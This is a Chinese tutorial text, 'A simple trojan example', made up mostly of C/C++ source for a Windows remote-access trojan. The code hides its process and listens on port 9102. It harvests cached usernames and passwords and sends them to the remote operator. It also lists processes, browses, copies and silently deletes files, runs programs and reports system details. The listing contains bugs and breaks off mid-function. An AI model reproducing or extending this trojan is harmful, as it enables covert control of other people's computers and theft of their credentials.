一个简单木马例子.txt

可以对黑客编程有一定的了解

一个简单木马例子 

写文章一般都赋源代码.除关键部分外向来不爱打太多说明性文字,因为觉得这样 
才比较实际,关于那些函数用法和功能大可以去翻书,哪里讲的比谁都详细. 

这里给了一个用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能, WIN 9X,NT/2000下均 可使用,在NT,2000下,因考虑到如CMD.EXE已改名或不存在,那么程序 将毫无用处. 所以 并没有调用CMD.EXE来完成,全部由自己来做,WIN API实现.要想自己程序通用就不要怕 麻烦.建议那些用现成控件写木马和网络通讯的朋友应该看看,去熟悉这些根本所在, 尤其是在网络 通讯方面.如果你是个程序员 我想大可不必用我多说,在开发中还没见过哪家公司让 用现成类 (MFC,VCL)来做的. 

此程序还不很健壮,写完后也没来的及优化,主要是拿来让大家熟悉一下WINSOCK和WIN SDK编程. 


//--------------------------------------------------------------------------- 
// WINSOCK API,WIN SDK编程,无需客户端 
// 
// 作者: 贾佳 
//--------------------------------------------------------------------------- 

#include <windows.h> 
#include <winsock.h> 
#include <mmsystem.h> 
#pragma hdrstop 
#include <condefs.h> 
#pragma argsused 

#define RUN "\\WinMon32.exe" 

//注册服务 
#define SERVICE_PROC 1 
//卸载服务 
#define UNSERVICE_PROC 0 

#define TH32CS_SNAPPROCESS 0x00000002 
#define PROCESS_HANDLE_NAME 255 

//缓冲区长度 
#define dwBuffSize 2048 
//命令行长度 
#define dwComm 50 
#define PORT 9102 
#define WM_SOCKET WM_USER+1 
#define PROMPT "LanLan:\\>" 

DWORD dwVersion=MAKEWORD(1,1); 
DWORD dwFlag=TRUE; 
WSADATA wsaData; 
SOCKET CreateSock,NewSock; 
SOCKADDR_IN Sock_in,NewSock_in; 
LPTSTR szReadBuff,Ob,TempBuff; 
int addrlen; 

//CACHE PASSWORD结构 
typedef struct tagPASSWORD_CACHE_ENTRY { 
WORD cbEntry; 
WORD cbResource; 
WORD cbPassword; 
BYTE iEntry; 
BYTE nType; 
char abResource[1]; 
} PASSWORD_CACHE_ENTRY; 

typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); 

//CACHE PASSWORD函数原形 
typedef WORD (WINAPI *PWNetEnumCachedPasswords)( 
LPSTR pbPrefix, 
DWORD cbPrefix, 
DWORD nType, 
CACHECALLBACK pfnCallback, 
DWORD UNKNOWN 
); 

//TOOLHELP32 结构 
typedef struct tagPROCESSENTRY32 
{ 
DWORD dwSize; 
DWORD cntUsage; 
DWORD th32ProcessID; 
DWORD th32DefaultHeapID; 
DWORD th32ModuleID; 
DWORD cntThreads; 
DWORD th32ParentProcessID; 
LONG pcPriClassBase; 
DWORD dwFlags; 
TCHAR szExeFile[MAX_PATH]; 
} PROCESSENTRY32; 

typedef PROCESSENTRY32 * LPPROCESSENTRY32; 

//定义TOOLHELP32,PSAPI函数指针 
HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD); 
BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); 
BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); 
BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded); 
DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize); 

HINSTANCE DLLInst; 
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD); 

//--------------------------------------------------------------------------- 
// GetOS 
// 判断操作系统 
//--------------------------------------------------------------------------- 

DWORD WINAPI GetOS() 
{ 
OSVERSIONINFO os; 
TCHAR sVersion[MAX_PATH]; 

os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 
GetVersionEx(&os); 
switch(os.dwPlatformId) 
{ 
case VER_PLATFORM_WIN32_WINDOWS: 
return VER_PLATFORM_WIN32_WINDOWS; 

case VER_PLATFORM_WIN32_NT: 
return VER_PLATFORM_WIN32_NT; 
} 
} 

//--------------------------------------------------------------------------- 
// HideProc 
// 注册进程 
//--------------------------------------------------------------------------- 

BOOL WINAPI HideProc(int mode) 
{ 
DLLInst=LoadLibrary("KERNEL32.DLL"); 
if(DLLInst) 
{ 
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) 
GetProcAddress(DLLInst,"RegisterServiceProcess"); 
if(RegisterServiceProcess) 
{ 
RegisterServiceProcess(GetCurrentProcessId(),mode); 
return TRUE; 
} 
else 
return FALSE; 
} 
else return FALSE; 
} 

//--------------------------------------------------------------------------- 
// EnumProcess 
// 枚举进程 
//--------------------------------------------------------------------------- 

//初始化TOOLHELP32 
BOOL InitToolHelp32() 
{ 
HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL"); 
if(DLLinst) 
{ 
CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD)) 
GetProcAddress(DLLinst,"CreateToolhelp32Snapshot"); 
Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe)) 
GetProcAddress(DLLinst,"Process32First"); 
Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe)) 
GetProcAddress(DLLinst,"Process32Next"); 
if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next)) 
return FALSE; 
else 
return TRUE; 
} 
return FALSE; 
} 

//初始化PSAPI 
BOOL InitPSAPI() 
{ 
HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL"); 
if(NULL==PSAPI) 
return FALSE; 
EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded)) 
GetProcAddress(PSAPI,"EnumProcesses"); 
GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize)) 
GetProcAddress(PSAPI,"GetModuleFileNameExA"); 
if(NULL == EnumProcesses||NULL == GetModuleFileName) 
return FALSE; 
else 
return TRUE; 
} 


VOID WINAPI EnumProcess() 
{ 
HANDLE process[255]; 
PROCESSENTRY32 p32; 
DWORD process_ids[255]; 
DWORD num_processes; 
TCHAR file_name[MAX_PATH]; 
TCHAR szTemp[MAX_PATH]; 
unsigned i; 

wsprintf(szTemp,"\n\n\r << Process File Name >>\n\n\r"); 
send(NewSock,szTemp,lstrlen(szTemp),0); 

switch(GetOS()) 
{ 
case VER_PLATFORM_WIN32_WINDOWS: 
if(InitToolHelp32()) 
{ 
p32.dwSize=sizeof(PROCESSENTRY32); 
HANDLE pName=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); 
BOOL Next=Process32First(pName,&p32); 
i=0; 
while(Next) 
{ 
wsprintf(szTemp,"Process FileName :%s \n\r",p32.szExeFile); 
send(NewSock,szTemp,lstrlen(szTemp),0); 
process=OpenProcess(PROCESS_TERMINATE,0,p32.th32ProcessID); 
Next=Process32Next(pName,&p32); 
i++; 
} 
CloseHandle(pName); 
} 
break; 

case VER_PLATFORM_WIN32_NT: 
if(InitPSAPI()) 
{ 
EnumProcesses(process_ids,sizeof(process_ids),&num_processes); 
for(i=0; i<num_processes; i++) 
{ 
process=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ 
,0,process_ids); 
if(GetModuleFileNameExA(process,NULL,file_name,sizeof(file_name))) 
wsprintf(szTemp,"Process FileName :%s \n\r",file_name); 
send(NewSock,szTemp,lstrlen(szTemp),0); 
} 
CloseHandle(process); 
} 
break; 
} 


} 


//--------------------------------------------------------------------------- 
// GetCachePW 
// 取CACHE密码 
//--------------------------------------------------------------------------- 

BOOL CALLBACK GetPass(PASSWORD_CACHE_ENTRY *pce,DWORD) 
{ 
MoveMemory(szReadBuff,pce->abResource,pce->cbResource); 
szReadBuff[pce->cbResource]=0; 
CharToOem(szReadBuff,Ob); 
wsprintf(TempBuff,"\n\n\r (USERNAME): %s \n\r (PASSWORD): ",Ob); 
MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword); 
szReadBuff[pce->cbPassword]=0; 
CharToOem(szReadBuff,Ob); 
lstrcat(TempBuff,Ob); 
send(NewSock,TempBuff,dwBuffSize,0); 

return TRUE; 
} 

BOOL WINAPI GetCachePW() 
{ 
TCHAR szTemp[MAX_PATH]; 

PWNetEnumCachedPasswords WNetEnumCachedPasswords; 
HINSTANCE DLLinst=LoadLibrary("MPR.DLL"); 
if(!DLLinst) 
{ 
return FALSE; 
} 

wsprintf(szTemp,"\n\n\r << Win 9x Cache Password >>\n\r"); 
send(NewSock,szTemp,lstrlen(szTemp),0); 

WNetEnumCachedPasswords=(PWNetEnumCachedPasswords) 
GetProcAddress(DLLinst,"WNetEnumCachedPasswords"); 
if(!WNetEnumCachedPasswords) 
{ 
return FALSE; 
} 
else 
{ 
szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); 
Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); 
TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); 
WNetEnumCachedPasswords(0,0,0xff,GetPass,0); 
HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff); 
HeapFree(GetProcessHeap(),dwBuffSize,Ob); 
HeapFree(GetProcessHeap(),dwBuffSize,TempBuff); 
FreeLibrary(DLLinst); 
} 
return TRUE; 
} 

//--------------------------------------------------------------------------- 
// LoadProcess 
// 执行文件 
//--------------------------------------------------------------------------- 

BOOL WINAPI LoadProcess(LPCTSTR szFileName) 
{ 
STARTUPINFO si; 
PROCESS_INFORMATION pi; 

ZeroMemory(&si,sizeof(STARTUPINFO)); 
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION)); 
si.cb=sizeof(STARTUPINFO); 
si.dwFlags=STARTF_USESHOWWINDOW; 
si.wShowWindow=SW_SHOWNORMAL; 

if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE) 
{ 
return FALSE; 
} 
return TRUE; 
} 

//--------------------------------------------------------------------------- 
// Dir 
// 浏览文件,支持统配符 
//--------------------------------------------------------------------------- 

VOID WINAPI Dir(LPCTSTR lParam) 
{ 
WIN32_FIND_DATA wfd; 
HANDLE hHandle; 
TCHAR szFileName[MAX_PATH]; 
int i; 

wsprintf(szFileName,"\n\n\r"); 
send(NewSock,szFileName,lstrlen(szFileName),0); 

lstrcpy(szFileName,lParam); 

if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE) 
{ 
do 
{ 
switch(wfd.dwFileAttributes) 
{ 
case FILE_ATTRIBUTE_ARCHIVE: 
if(wfd.nFileSizeHigh==0) 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); 
else 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
break; 
case FILE_ATTRIBUTE_DIRECTORY: 
wsprintf(szFileName,"%-20s %10lu <DIR>\n\r",wfd.cFileName,wfd.nFileSizeLow); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
break; 
case FILE_ATTRIBUTE_HIDDEN: 
if(wfd.nFileSizeHigh==0) 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); 
else 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
break; 
case FILE_ATTRIBUTE_READONLY: 
if(wfd.nFileSizeHigh==0) 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); 
else 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
break; 
case FILE_ATTRIBUTE_SYSTEM: 
if(wfd.nFileSizeHigh==0) 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); 
else 
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
break; 
} 
}while(FindNextFile(hHandle,&wfd)); 
} 
else 
{ 
wsprintf(szFileName,"Can not find directory or files.\n\r"); 
send(NewSock,szFileName,lstrlen(szFileName),0); 
} 
} 

//--------------------------------------------------------------------------- 
// FileOpertion 
// 文件操作函数 
//--------------------------------------------------------------------------- 

BOOL WINAPI FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt) 
{ 
SHFILEOPSTRUCT shf; 
TCHAR sr[MAX_PATH]; 
TCHAR de[MAX_PATH]; 

lstrcpy(sr,szFileName1); 
sr[lstrlen(sr)+1]=‘\0‘; 
lstrcpy(de,szFileName2); 
de[lstrlen(de)+1]=‘\0‘; 

ZeroMemory(&shf,sizeof(shf)); 
shf.hwnd=NULL; 
shf.wFunc=opt; 
shf.pFrom=sr; 
shf.pTo=de; 
shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES 
|FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR; 

if(SHFileOperation(&shf)) 
return FALSE; 
else 
return TRUE; 
} 

//--------------------------------------------------------------------------- 
// Delete 
// 删除文件(隐藏,只读),目录,支持统配符 
//--------------------------------------------------------------------------- 

VOID WINAPI Delete(LPCTSTR lParam) 
{ 
if(!FileOpertion(lParam,"",FO_DELETE)) 
send(NewSock,"Delete File is Fail",20,0); 
else 
send(NewSock,"Delete File is OK",17,0); 
} 

//--------------------------------------------------------------------------- 
// Copy 
// 复制,上传,下载文件(需先将自己硬盘设置为完全共享),支持统配符 
//--------------------------------------------------------------------------- 

VOID WINAPI Copy(LPCTSTR lParam1,LPCTSTR lParam2) 
{ 
if(!FileOpertion(lParam1,lParam2,FO_COPY)) 
send(NewSock,"Copy File is Fail",18,0); 
else 
send(NewSock,"Copy File is OK",15,0); 
} 

//--------------------------------------------------------------------------- 
// Ren 
// 文件,目录重命名 
//--------------------------------------------------------------------------- 

VOID WINAPI Ren(LPCTSTR lParam1,LPCTSTR lParam2) 
{ 
if(!FileOpertion(lParam1,lParam2,FO_RENAME)) 
send(NewSock,"Renname File is Fail",21,0); 
else 
send(NewSock,"Reanme File is OK",18,0); 
} 

//--------------------------------------------------------------------------- 
// GetSysInfo 
// 获取系统信息 
//--------------------------------------------------------------------------- 

VOID WINAPI GetSysInfo() 
{ 
TCHAR szBuff[MAX_PATH]; 
TCHAR szTemp[MAX_PATH]; 


wsprintf(szBuff,"\n\n\r<<System Information>>\n\n\r"); 
send(NewSock,szBuff,lstrlen(szBuff),0); 

//计算机名 
DWORD len=sizeof(szTemp); 
GetComputerName(szTemp,&len); 
wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp); 
send(NewSock,szBuff,lstrlen(szBuff),0); 

//当前操作系统 
switch(GetOS()) 
{ 
case VER_PLATFORM_WIN32_WINDOWS: 
lstrcpy(szTemp,"Windows 9x"); 
break; 
case VER_PLATFORM_WIN32_NT: 
lstrcpy(szTemp,"Windows NT/2000"); 
break; 
} 
wsprintf(szBuff,"Option System: %s\n\n\r",szTemp); 
send(NewSock,szBuff,lstrlen(szBuff),0); 

//内存容量 
MEMORYSTATUS mem; 
mem.dwLength=sizeof(mem); 
GlobalMemoryStatus(&mem); 
wsprintf(szBuff,"Total Memroy: %dM\n\n\r",mem.dwTotalPhys/1024/1024+1); 
send(NewSock,szBuff,lstrlen(szBuff),0); 

//系统目录 
TCHAR szPath[MAX_PATH]; 
GetWindowsDirectory(szTemp,sizeof(szTemp)); 
GetSystemDirectory(szBuff,sizeof(szBuff)); 
wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory: %s\n\n\r",szTemp,szBuff); 
send(NewSock,szPath,lstrlen(szPath),0); 

//驱动器及分区类型 
TCHAR szFileSys[10]; 

for(int i=0;i<26;++i) 
{ 
wsprintf(szTemp,"%c:\\",‘A‘+i); 
UINT uType=GetDriveType(szTemp); 
switch(uType) 
{ 
case DRIVE_FIXED: 
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH); 
wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys); 
send(NewSock,szBuff,lstrlen(szBuff),0); 
break; 
case DRIVE_CDROM: 
wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp); 
send(NewSock,szBuff,lstrlen(szBuff),0); 
break;